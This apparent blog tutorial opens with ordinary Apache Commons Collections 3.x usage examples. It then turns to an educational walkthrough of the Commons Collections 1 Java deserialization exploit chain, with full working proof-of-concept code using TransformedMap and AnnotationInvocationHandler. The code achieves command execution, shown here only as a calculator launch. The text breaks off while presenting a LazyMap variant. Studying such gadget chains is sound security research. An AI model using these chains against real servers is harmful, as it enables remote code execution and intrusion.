基础使用

背景介绍

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

主要特点

Commons Collections 的主要特点如下 -

  • Bag - Bag 接口简化了每个对象具有多个副本的集合。
  • BidiMap- BidiMap 接口提供双向映射,可用于使用键或键使用的值来查找值。
  • MapIterator - MapIterator 接口为映射提供了简单和易于迭代方法。
  • 转换装饰器 - 转换装饰器 (Transforming Decorators) 可以在集合添加到集合时改变集合的每个对象。
  • 复合集合 - 复合集合用于要求统一处理多个集合的情况。
  • 有序映射 - 有序映射保留元素添加的顺序。
  • 有序集 - 有序集保留元素添加的顺序。
  • 参考映射 - 参考映射允许在密切控制下对键 / 值进行垃圾收集。
  • 比较器实现 - 许多比较器实现都可用。
  • 迭代器实现 - 许多迭代器实现都可用。
  • 适配器类 - 适配器类可用于将数组和枚举转换为集合。
  • 实用程序 - 实用程序可用于测试测试或创建集合的典型集合理论属性,如联合,交集。 支持关闭。

包结构介绍

Commons Collections的最新版是4.x (commons-collections4),但由于工作中大多还是3.x的版本,这里就以3.x中的最后一个版本3.2.2作使用介绍。

以下是Collections的包结构和简单介绍,如果你想了解更多的各个包下的接口和实现,请参考Apache Commons Collections 3.2.2 API文档

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

引入依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version>
</dependency>

使用介绍

通用集合 Bag

Bag 接口定义了一个集合,它可以计算一个对象出现在集合中的次数。

package org.example;

import org.apache.commons.collections.Bag;
import org.apache.commons.collections.bag.HashBag;

public class App{
    public static void main(String[] args) {
        Bag bag = new HashBag();
        bag.add("a", 2);
        bag.add("b");
        bag.add("c");
        bag.add("c");

        System.out.println(bag);    // [2:a,1:b,2:c]
        System.out.println(bag.getCount("c"));  // 2
        System.out.println(bag.uniqueSet());    // [a, b, c]

        bag.remove("a", 1);

        System.out.println(bag); // [1:a,1:b,2:c]
    }
}

通用集合 BidiMap

BidiMap 接口被添加到支持双向映射。 使用双向映射,可以使用值查找键,并且可以使用键轻松查找值。

package org.example;

import org.apache.commons.collections.BidiMap;
import org.apache.commons.collections.bidimap.TreeBidiMap;

public class App {
    public static void main(String[] args) {
        BidiMap bidiMap = new TreeBidiMap();
        bidiMap.put("a", "b");
        bidiMap.put("c", "d");
        System.out.println(bidiMap);    // {a=b, c=d}
        System.out.println(bidiMap.get("a"));   // b
        System.out.println(bidiMap.getKey("b")); // a
        System.out.println(bidiMap.inverseBidiMap()); // {b=a, d=c}

        bidiMap.remove("a");
        System.out.println(bidiMap); // {c=d}
    }
}

通用集合 MapIterator

JDK Map 接口很难作为迭代在 EntrySetKeySet 对象上迭代。 MapIterator 提供了对 Map 的简单迭代。

package org.example;

import org.apache.commons.collections.IterableMap;
import org.apache.commons.collections.MapIterator;
import org.apache.commons.collections.map.HashedMap;

public class App {
    public static void main(String[] args) {
        IterableMap iterableMap = new HashedMap();
        iterableMap.put("a", "b");
        iterableMap.put("c", "d");
        iterableMap.put("e", "F");

        MapIterator mapIterator = iterableMap.mapIterator();
        while (mapIterator.hasNext()){
            Object key = mapIterator.next();
            Object value = mapIterator.getValue();
            System.out.println("key: " + key);  // key: a
            System.out.println("value: " + value);  // value: b

            mapIterator.setValue(value + "TEST");
        }
        System.out.println(iterableMap);    // {a=bTEST, c=dTEST, e=FTEST}
    }
}

通用集合 OrderedMap

OrderedMap 是映射的新接口,用于保留添加元素的顺序。 LinkedMapListOrderedMap 是两种可用的实现。 此接口支持 Map 的迭代器,并允许在 Map 中向前或向后两个方向进行迭代。

package org.example;

import org.apache.commons.collections.OrderedMap;
import org.apache.commons.collections.map.LinkedMap;

public class App {
    public static void main(String[] args) {
        OrderedMap map = new LinkedMap();
        map.put("a", "b");
        map.put("C", "D");

        System.out.println(map.firstKey()); // a
        System.out.println(map.lastKey());  // C

        System.out.println(map.nextKey("a"));   // C
        System.out.println(map.previousKey("C"));   // a
    }
}

集合工具类 CollectionUtils

Apache Commons Collections 库的 CollectionUtils 类提供各种实用方法,用于覆盖广泛用例的常见操作。 它有助于避免编写样板代码。 这个库在 jdk 8 之前是非常有用的,但现在 Java 8 的 Stream API 提供了类似的功能

检查是否为空元素

CollectionUtils 的 addIgnoreNull() 方法可用于确保只有非空 (null) 值被添加到集合中。

返回值:如果集合已更改,则返回为 True

List<String> list = new LinkedList<String>();

boolean result1 = CollectionUtils.addIgnoreNull(list, null);
System.out.println(result1); // false
boolean result2 = CollectionUtils.addIgnoreNull(list, "a");
System.out.println(result2); // true
System.out.println(list); // [a]
System.out.println(list.contains(null)); // false

list.add(null);
System.out.println(list); // [a, null]
System.out.println(list.contains(null)); // true
合并两个排序列表

CollectionUtils 的 collate() 方法可用于合并两个已排序的列表。

返回值:一个新的排序列表,其中包含集合 ab 的元素。

List<String> sortedList1 = Arrays.asList("A", "C", "E");
List<String> sortedList2 = Arrays.asList("B", "D", "F");
List<String> mergedList = CollectionUtils.collate(sortedList1, sortedList2);
System.out.println(mergedList); // [A, B, C, D, E, F]
转换列表

CollectionUtilscollect() 方法可用于将一种类型的对象列表转换为不同类型的对象列表。

返回值:转换结果 (新列表)。

List<String> stringList = Arrays.asList("1", "2", "3");

List<Integer> integerList = (List<Integer>) CollectionUtils.collect(stringList,
        new Transformer<String, Integer>() {
            @Override
            public Integer transform(String input) {
                return Integer.parseInt(input);
            }
        });

System.out.println(integerList); // [1, 2, 3]
过滤列表

CollectionUtils 的 filter() 方法可用于过滤列表以移除不满足由谓词传递提供的条件的对象。

返回值:如果通过此调用修改了集合,则返回 true,否则返回 false

List<Integer> integerList = new ArrayList<Integer>();
integerList.addAll(Arrays.asList(1, 2, 3, 4, 5, 6, 7, 8));
System.out.println(integerList); // [1, 2, 3, 4, 5, 6, 7, 8]

CollectionUtils.filter(integerList, new Predicate<Integer>() {
    @Override
    public boolean evaluate(Integer input) {
        if (input.intValue() % 2 == 0) {
            return true;
        }
        return false;
    }
});

System.out.println(integerList); // [2, 4, 6, 8]
检查非空列表

CollectionUtils 的 isNotEmpty() 方法可用于检查列表是否为 null 而不用担心 null 列表。 因此,在检查列表大小之前,不需要将无效检查放在任何地方。

返回值:如果非空且非 null,则返回为:true。

检查空的列表

CollectionUtils 的 isEmpty() 方法可用于检查列表是否为空。

返回值:如果为空或为 null,则返回为 true

检查子列表

CollectionUtils 的 isSubCollection () 方法可用于检查集合是否包含给定集合。

参数

  • a - 第一个 (子) 集合不能为空。
  • b - 第二个 (超集) 集合不能为空。

当且仅当 ab 的子集合时才为 true

检查相交

CollectionUtils 的 intersection() 方法可用于获取两个集合 (交集) 之间的公共对象部分。

参数

  • a - 第一个 (子) 集合不能为 null
  • b - 第二个 (超集) 集合不能为 null

返回值:两个集合的交集。

求差集

CollectionUtils 的 subtract() 方法可用于通过从其他集合中减去一个集合的对象来获取新集合。

参数

  • a - 要从中减去的集合,不能为 null
  • b - 要减去的集合,不能为 null

返回值:两个集合的差集 (新集合)。

求联合集

CollectionUtils 的 union() 方法可用于获取两个集合的联合。

参数

  • a - 第一个集合,不能为 null
  • b - 第二个集合,不能为 null

返回值:两个集合的联合。

参考教程

Commons Collections1 分析

前言

Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。

Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

前置知识

POC示例

先引入依赖

<dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
</dependencies>

网上的一个POC,先看下涉及哪些类;

因为在调试这条链的时候会涉及到一些没接触过的类,在调试前需要了解到这些类的一个作用,方便后面的理解。

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class App {

    public static void main(String[] args) {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

先运行下查看结果。

image-20210802133810779

成功执行了系统命令。

Transformer

TransformerCommons Collections中提供的一个接口,只有一个待实现的transform方法。

image-20210802134227012

ConstantTransformer

ConstantTransformer是接口Transformer的实现类

它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回,其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。

image-20210802134701793

InvokerTransformer‼️

InvokerTransformer也是Transformer的实现类

在构造方法中有三个参数

  • 第⼀个参数是待执⾏的⽅法名
  • 第⼆个参数是这个函数的参数列表的参数类型
  • 第三个参数是传给这个函数的参数列表

里面还提供了一个transform的方法,该方法可以通过Java反射机制来进行执行任意代码。

image-20210802135232427

实现代码举例:

不能直接利用

image-20210804112440501

ChainedTransformer‼️

ChainedTransformer也是实现了Transformer接⼝的⼀个类

看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法,它的作⽤是将内部的多个Transformer串在⼀起。

通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,将多个Transformer 用过依次调用各自的transform 连接起来,用P牛的⼀个图做示意:

img

image-20210802140232890

几个Transformer实现类整理

理一理这几个Transfromer。其实一共就三个Transformer,而且这些XxxTransformer都是实现了TransFormer这个接口的,所以他们都有一个transform方法:

InvokerTransformer ConstantTransformer ChainedTransformer
构造函数接受三个参数 构造函数接受一个参数 构造函数接受一个TransFormer类型的数组
transform方法通过反射可以执行一个对象的任意方法 transform返回构造函数传入的参数 transform方法执行构造函数传入数组的每一个成员的transform方法

Map

Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

TransformedMap‼️

TransformedMap这个类是用来对Map进行某些变换(修饰)用的,例如当我们修改Map中的某个值时,就会触发我们预先定义好的某些操作来对Map进行处理(回调)。

通过decorate函数就可以将一个普通的Map转换为一个TransformedMap第二个参数和第三个参数分别对应当key改变和value改变时对应transform函数需要做的操作

举个例子:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class App {

    public static void main(String[] args) {
        Map<String, String> hashMap = new HashMap<String, String>();
        hashMap.put("1", "2");

        // key修改执行Test中的transform方法,value修改执行Test1中的transform方法
        Map transformedMap = TransformedMap.decorate(hashMap, new Test(), new Test1());
        // 两个值都修改就会Test和Test1中的transform都执行
        transformedMap.put("3", "4");
        System.out.println("\n--- 分界线 ---\n");
        Map.Entry transformedMapValue = (Map.Entry) transformedMap.entrySet().iterator().next();
        // 值改变会执行 Test1类 中的transform方法
        transformedMapValue.setValue("5");


    }
}


class Test implements Transformer {

    @Override
    public Object transform(Object o) {
        System.out.println("Test Object: " + o.toString());
        return "Test Object";
    }
}

class Test1 implements Transformer {

    @Override
    public Object transform(Object o) {
        System.out.println("Test1 Object: " + o.toString());
        return "Test1 Object";
    }
}

image-20210804110655561

Transformer实现类(如ChainedTransformer)分别绑定到Map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法去进行一些变换操作。


为什么会这样?为什么put了就会触发transform方法?

看一下TransformedMap.put这个方法,发现在put操作的时候,会直接调用类函数中的transformKeytransformValue去处理

image-20210805144549483

然后这俩个类函数返回的是我们传入的Transformer实现类去执行transform方法

image-20210805145501209

所以我们put了过后就触发了。

调用setValue触发同理;TransformedMap里的每个entryset在调用setValue方法时会自动调用TransformedMap类的checkSetValue方法

image-20210805150544955


我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,就会自动触发chainedtransformer

image-20210802140726643

Map.Entry

Map.Entry是Map的一个内部接口。

Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。接口中有getKey()getValue()方法。

image-20210802142633195

反射exec

在Java中执行命令一般通过Runtime.getRuntime().exec("command")来执行命令,如果我们想在修改transformedMap时执行命令,就需要构造一个特殊的ChainedTransformer来反射出exec函数。

反射利用链

分析ChainedTransformer中的transform方法可以发现,这个链中,会将上一次变换的结果作为下一次变换的输入,直到所有的变换完成,并返回最终的object

image-20210802210659501

再分析InvokerTransformer中的transform方法可以发现,这地方就是通过给定的object,然后通过.getClass.getMethod.invoke的方法进行反射,达到调用指定方法的目的。

image-20210802210838375


所以我们构造的ChainedTransformer的链中,最终的执行应该是类似于:

((Runtime)Runtime.class.getMethod("getRuntime").invoke(Runtime.class)).exec("open -na Calculator");

因此链的第一步,就是获取Runtime的类,可以通过内置的ConstantTransformer来获取

image-20210802211645383

这时链就变成了

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class)
        };

Transformer transformerChain = new ChainedTransformer(transformers);

第二步就是通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,以此来获取到Runtime.class.getMethod("getRuntime"),上面也提过,InvokerTransformer共接受3个参数

image-20210802214334346

  • 第⼀个参数是待执⾏的⽅法名,此处则为getMethod
  • 第⼆个参数是这个函数的参数列表的参数类型,查看getMethod方法的定义,第一个参数是字符串String,第二个参数是Class<?>,代表第二个参数是可变类参数,所以这里是Class[].class,所以此处应写为new Class[] {String.class, Class[].class}
    • image-20210802213116414
  • 第三个参数是传给这个函数的参数列表,为调用getMethod时候实际传入的参数(需要和第二步里面统一),即为new Object[]{"getRuntime", new Class[0]}new Class[0]可以理解为占位符,如果给这个函数传入null的话,会直接抛出空指针异常;如果传入new Class[0]的话就不会抛异常。)

因此此时的链就变成了

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

然后用同样的方法构造出.invoke(Runtime.class)).exec("open -na Calculator")即可

再举一个构造InvokerTransformer的例子,.invoke(Runtime.class))

  • 第一个参数方法名:invoke
  • 第二个参数参数列表的参数类型:new Class[]{Object.class, Object[].class}
    • image-20210802214446148
  • 第三个参数就是传入的参数列表,此处是Runtime.class,写成:new Object[]{Runtime.class, new Object[0]}

最终的链

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

链构造好了,只需要构造一个使用这个链的TransformedMap的对象,然后修改里面的内容即可触发命令执行了。

        Map innerMap = new HashMap();
        innerMap.put("1", "2");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("3", "4");

效果

image-20210803110903614

简化链

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
        };

上⾯的命令执⾏只是一个demo,它只是⼀个⽤来在本地测试的类,是不能直接在目标上执行的。

在实际过程中,是需要结合反序列化漏洞,将上⾯最终⽣成的outerMap对象变成⼀个序列化流让目标进行反序列化,达到远程命令执行的目的。

使用AnnotationInvocationHandler触发反序列化

环境要求:JDK 1.7 下载地址,建议选JDK 7u21

分析

到目前为止,我们已经构造出了可以执行命令的恶意链。

到这一步,正常的代码审计过程中,会采取两种策略,一种是继续向上回溯,找transformKeytransformValuecheckSetValue这几个方法被调用的位置,另一种策略就是全局搜索readObject()方法,看看有没有哪个类直接就调用了这三个方法中的一个或者readObject中有可疑的操作,最后能够间接触发这几个方法。审计中,一般都会把两种策略都试一遍。

现在只要找到一个符合以下条件的类,并且服务端有反序列化的入口,就可以RCE了。

  1. 该可序列化的类重写了readObject方法;

  2. 该类在readObject方法中对Map类型的变量进行了键值修改操作,并且这个Map参数是可控的;

根据上面的条件,大佬们找到了rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class这个类;

这个类有一个成员变量 memberValuesMap<String, Object>类型,并且在重写的 readObject() 方法中有 memberValue.setValue() 修改Value的操作。

注意这个必须要JDK7,JDK8是没有这个问题的

image-20210803124949912

根据刚才的反射exec章节

核心的逻辑就是:

实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检查的Java应用。Java应用在进行反序列化操作时,执行了readObject()函数,修改了Map的Value,则会触发TransformedMap的变换函数transform(),再通过反射链调用了Runtime.getRuntime.exec("XXX") 命令,最终就可以执行我们的任意代码了。

POC构建过程

通过反射调用AnnotationInvocationHandler的构造函数,给构造的恶意链传进构造参数中,生成对象o;

AnnotationInvocationHandler 构造函数

image-20210803145324415

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, outerMap);    // 暂时用Retention.class,后面会分析为啥

对对象o进行序列化

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
objectOutputStream.close();
System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));

但是在writeObject的时候报了一个反序列化的错误:

image-20210803131116934

主要原因是因为Runtime类是没有实现 java.io.Serializable 接⼝的,所以是不允许被序列化。

但是我们可以通过反射来获取到当前上下⽂中的Runtime对象,⽽不需要直接使⽤这个类(也就是我们最开始的POC示例中的Transformer[]):

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
};

可以看到成功序列化了,但是反序列化后并没有触发计算器,也就是说并没有成功执行命令。

image-20210803132330455

解决思路:触发需要满足以下两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler构造函数的第⼀个参数必须是 Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X;

  2. TransformedMap.decorate修饰的Map中必须有⼀个键名为X的元素。

不懂为什么必须要这样,调试分析一下。

查看readObject代码,发现在setValue前有两个if语句

if (var7 != null) {
        Object var8 = var5.getValue();
        if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
            var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
        }
    }

先在 if (var7 != null)这下断点,然后调试,发现 var7 确实是 null,所以没有执行命令成功

image-20210803135155322

分析一下,var7值是从var3.get(var6)获取来的

var3是一个map<String, Object>,键是我们构造AnnotationInvocationHandler对象传入的第一个对象(Retention.class)中的方法名(这里是value),而值就是这个方法return的类(这里是class java.lang.annotation.RetentionPolicy)。

image-20210803142637777

var6则是我们创建innerMap时put的键值对中的键

放个图大概说明下:

image-20210803142038464

所以只需要我们创建的innerMap中的键包含在var3的键中即可,也就是说innerMap中的键必须是AnnotationInvocationHandler构造函数的第一个参数(这里是Retention.class)对应类中的方法名value

构造innerMap像下图这样

image-20210803144238554

再调一下,这个时候的var7满足不等于null了

image-20210803144823910

然后看第二个if语句

image-20210803145006100

需要满足条件:

var7.isInstance(var8) ==> false    // 满足第一个if条件后,var7就是innerMap中输入的键值对应Annotation子类方法返回的类型,也就是var3对应键的值
var8 instanceof ExceptionProxy ==> false // var8就是我们创建的innerMap中输入的键值对中的值

这个就比较简单,满足条件即可。


到这就比较清楚反序列化后面2个if语句的限制了,我们也可以用其他的Annotation的子类即可,举个例子:

随便找个Annotation子类

image-20210803145522692

构建对象

// 构建对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Action.class, outerMap);

查看Action.class的源码

image-20210803145548792

使用方法input,返回类型是String,所以我们创建的innerMap的put的键值对中,键是input

由于var7.isInstance(var8) ==> false,所以我们innerMap的put的键值对中的值类型不能是String

所以构造如下:

Map innerMap = new HashMap();
innerMap.put("input", 1);
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

运行

image-20210803150327688

成功反序列化执行了命令。

完整POC

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.ws.Action;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

public class App {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        System.out.println(String.class.isInstance(""));
        // 利用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("input", 1);
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        // 构建对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Action.class, outerMap);

        // 序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
        System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));

        // 反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();


    }
}

整体思路

我们构造恶意的AnnotationInvocationHandler类,将该类的成员变量memberValues赋值为我们精心构造的TransformedMap对象,并将AnnotationInvocationHandler类进行序列化,然后交给目标JAVA WEB应用进行反序列化。在进行反序列化时,会执行readObject()方法,该方法会对成员变量TransformedMapValue值进行修改,该修改触发了TransformedMap实例化时传入的参数InvokerTransformertransform()方法,InvokerTransformer.transform()方法通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令。

使用LazyMap利用链

介绍

LazyMapTransformedMap类似,都继承 AbstractMapDecorator

image-20210803155104437

TransformedMap是在写入元素的时候执行transform方法,LazyMap是在其get方法中执行的 this.factory.transform

LazyMap的作用是“懒加载”,在get找不到值的时候,它会调用 this.factory.transform 方法去获取一个值

public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

this.factory也是我们可以控制的,在构造函数中。

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }
}

所以构造poc的时候只要令factory为精心构造的ChainedTransformer就行,因此我们找一下哪里可能调用了LazyMapget方法。

但是我们在AnnotationInvocationHandler#readObject函数中并没有看到有执行get方法,所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get

image-20210803160149440

AnnotationInvocationHandler#invoke看到invoke方向就大概联想到Java的动态代理机制。

动态代理复习

总结为一句话就是,被动态代理的对象调用任意方法都会通过对应的InvocationHandler的invoke方法触发


这里再举个例子说明一下如何自动调用的invoke方法

InvocationHandlerExample.class

InvocationHandlerExample类继承了InvocationHandler,实现了invoke方法,作用是在监控到调用的方法名是get的时候,返回一个特殊字符串 Hacked Object 。

package org.example;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class InvocationHandlerExample implements InvocationHandler {
    protected Map map;

    public InvocationHandlerExample(Map map){
        this.map = map;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().compareTo("get") == 0){
            System.out.println("HOOK Method: " + method.getName());
            return "Hacked Object";
        }
        return method.invoke(this.map, args);
    }
}

App.class

在App类中调用这个InvocationHandlerExample

package org.example;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class App {

    public static void main(String[] args) {
        InvocationHandler handler = new InvocationHandlerExample(new HashMap());    // 代理类的逻辑
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        proxyMap.put("1", "2");
        System.out.println(proxyMap.get("1"));
    }
}

image-20210803165919351

可以看到调用的get方法,但是被我们动态代理中的invoke方法拦截了,返回了Hacked Object

也就是说这个Map对象经过动态代理处理之后,动态代理对象调用任何一个方法时会调用handler中的invoke方法


我们回看sun.reflect.annotation.AnnotationInvocationHandler,会发现实际上这个类实际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get

image-20210803170250433

所以我们只要创建一个LazyMap的动态代理,然后再用动态代理调用LazyMap的某个方法就行了,但是为了反序列化的时候自动触发,我们应该找的是某个重写了readObject方法的类,这个类的readObject方法中可以通过动态代理调用LazyMap的某个方法,其实这和直接调用LazyMap某个方法需要满足的条件几乎是一样的,因为某个类的动态代理与它本身实现了同一个接口。而我们通过分析TransformedMap利用链的时候,已经知道了AnnotationInvocationHandlerreadObject方法中会调用某个Map类型对象的entrySet()方法,而LazyMap以及他的动态代理都是Map类型,所以,一条利用链就这么出来了

构建POC

sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy

// 构建对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建LazyMap的handler实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Action.class, outerMap);
// 创建LazyMap的动态代理实例
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);  // 动态代理对象,执行任意方法,都会到invoke中去

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是 sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹(我们需要的是AnnotationInvocationHandler这个类的对象)

// 创建一个AnnotationInvocationHandler实例,并且把刚刚创建的代理赋值给this.memberValues
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);    // readObject的时候主动调用proxyMap的方法进入到invoke中

完整POC

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.ws.Action;
import java.io.*;
